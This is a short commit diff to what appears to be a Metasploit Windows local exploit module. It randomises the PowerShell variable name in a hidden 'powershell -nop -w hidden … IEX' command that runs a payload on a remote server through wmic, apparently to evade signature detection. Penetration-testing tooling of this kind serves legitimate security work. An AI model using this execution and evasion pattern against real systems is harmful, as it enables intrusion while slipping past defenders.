Change static x value

2013-09-20 20:31:14 +01:00 · 2013-09-20 20:31:14 +01:00 · 15885e4ef6
parent ee365a6b64
commit 15885e4ef6
1 changed files with 3 additions and 2 deletions
--- a/modules/exploits/windows/local/wmi.rb
+++ b/modules/exploits/windows/local/wmi.rb
@ -93,11 +93,12 @@ class Metasploit3 < Msf::Exploit::Local
          wmic_command(server, c)
        end

-        exec_cmd = "powershell.exe -nop -w hidden -c $x = ''"
+        x = rand_text_alpha(rand(3)+3)
+        exec_cmd = "powershell.exe -nop -w hidden -c $#{x} = ''"
        env_vars.each do |env|
          exec_cmd << "+$env:#{env}"
        end
-        exec_cmd << ";IEX $x;"
+        exec_cmd << ";IEX $#{x};"

        print_status("[#{server}] Executing payload")
        wmic_command(server, exec_cmd)